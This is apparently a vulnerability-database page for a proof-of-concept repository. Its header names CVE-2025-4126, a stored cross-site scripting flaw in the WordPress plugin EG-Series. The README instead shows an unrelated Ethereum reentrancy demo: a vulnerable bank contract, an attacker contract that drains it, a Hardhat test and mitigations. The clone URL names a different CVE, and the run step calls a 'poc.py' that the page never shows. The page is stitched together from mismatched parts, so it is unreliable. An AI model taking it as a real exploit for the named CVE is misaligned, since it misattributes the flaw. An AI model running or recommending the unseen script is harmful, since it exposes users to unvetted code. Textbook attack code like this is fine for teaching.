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CVE-2025-4126 PoC — WordPress plugin EG-Series 安全漏洞

Source
Associated Vulnerability
Title:WordPress plugin EG-Series 安全漏洞 (CVE-2025-4126)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin EG-Series 2.1.1及之前版本存在安全漏洞,该漏洞源于输入清理和转义不足,可能导致存储型跨站脚本攻击。
Description
smart contract reentrancy attack vulnerability POC
Readme
# POC-CVE-2025-4126
smart contract reentrancy attack vulnerability 验证

# Smart Contract Reentrancy Attack PoC

This repository contains a Proof of Concept (PoC) demonstrating a **reentrancy attack** vulnerability in Ethereum smart contracts. The PoC includes a vulnerable smart contract, an attacker contract, and instructions to reproduce the attack in a local test environment.

## Table of Contents
- [Overview](#overview)
- [Vulnerability Description](#vulnerability-description)
- [PoC Setup](#poc-setup)
- [Running the PoC](#running-the-poc)
- [License](#license)

## Overview
Reentrancy is a common vulnerability in Ethereum smart contracts where an external contract can make repeated calls back into the original contract before the first call completes, potentially draining funds or manipulating state. This PoC demonstrates how an attacker can exploit a vulnerable contract to steal Ether.

## Vulnerability Description
The vulnerable contract (`VulnerableBank`) allows users to deposit and withdraw Ether. However, it does not properly handle state updates before making external calls, making it susceptible to reentrancy. The attacker contract (`Attacker`) exploits this by recursively calling the `withdraw` function to drain the contract's Ether balance.

### Key Issue
- The `withdraw` function in `VulnerableBank` sends Ether to the caller **before** updating the user's balance.
- This allows the attacker's contract to call `withdraw` again in its fallback function, draining the contract's funds.

## PoC Setup
To run this PoC, you need:
- python3.x
- pip3

### Installation and Running
1. Clone this repository:
   ```bash
   git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
   cd POC-CVE-2025-48621
   ```
2. run:
   ```bash
   python3 poc.py
   ```
   
## PoC Code
Below are the two contracts used in this PoC:

### VulnerableBank.sol
This contract simulates a simple bank that allows deposits and withdrawals but is vulnerable to reentrancy.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Vulnerable: External call before state update
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // State update after external call
        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
```

### Attacker.sol
This contract exploits the reentrancy vulnerability by recursively calling the `withdraw` function.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attacker {
    VulnerableBank public vulnerableBank;
    uint256 public constant WITHDRAW_AMOUNT = 1 ether;

    constructor(address _vulnerableBankAddress) {
        vulnerableBank = VulnerableBank(_vulnerableBankAddress);
    }

    // Initiate the attack
    function attack() external payable {
        require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
        vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
        vulnerableBank.withdraw();
    }

    // Fallback function to recursively call withdraw
    receive() external payable {
        if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
            vulnerableBank.withdraw();
        }
    }

    // Withdraw stolen Ether to attacker's address
    function withdrawFunds() external {
        payable(msg.sender).transfer(address(this).balance);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
```

### Hardhat Test Script
A Hardhat test script is included to automate the attack simulation.

```javascript
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Reentrancy Attack PoC", function () {
  let vulnerableBank, attacker, owner, attackerAddr;

  beforeEach(async function () {
    // Deploy VulnerableBank
    const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
    vulnerableBank = await VulnerableBank.deploy();
    await vulnerableBank.deployed();

    // Deploy Attacker
    const Attacker = await ethers.getContractFactory("Attacker");
    [owner, attackerAddr] = await ethers.getSigners();
    attacker = await Attacker.deploy(vulnerableBank.address);
    await attacker.deployed();

    // Fund VulnerableBank with 10 Ether
    await owner.sendTransaction({
      to: vulnerableBank.address,
      value: ethers.utils.parseEther("10"),
    });
  });

  it("should drain VulnerableBank via reentrancy", async function () {
    // Initial balances
    const initialBankBalance = await vulnerableBank.getBalance();
    console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);

    // Execute attack with 1 Ether
    await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });

    // Check final balances
    const finalBankBalance = await vulnerableBank.getBalance();
    const attackerBalance = await attacker.getBalance();
    console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
    console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);

    expect(finalBankBalance).to.equal(0, "Bank should be drained");
    expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
  });
});
```

### Expected Output
- Initial bank balance: 10 ETH
- Final bank balance: 0 ETH
- Attacker balance: ~10 ETH (minus gas fees)

## Mitigation
To prevent reentrancy attacks, consider the following best practices:
1. **Checks-Effects-Interactions Pattern**: Update state (e.g., balances) **before** making external calls.
2. **Reentrancy Guard**: Use a modifier (e.g., OpenZeppelin's `ReentrancyGuard`) to prevent recursive calls.
3. **Limit Gas**: Restrict gas forwarded to external calls to prevent complex reentrancy logic.
4. **Use `transfer` or `send`**: These methods limit gas, reducing the risk of reentrancy.

### Example Fix for VulnerableBank.sol
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Update state first
        balances[msg.sender] = 0;

        // Then make external call
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
```

## License
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
File Snapshot

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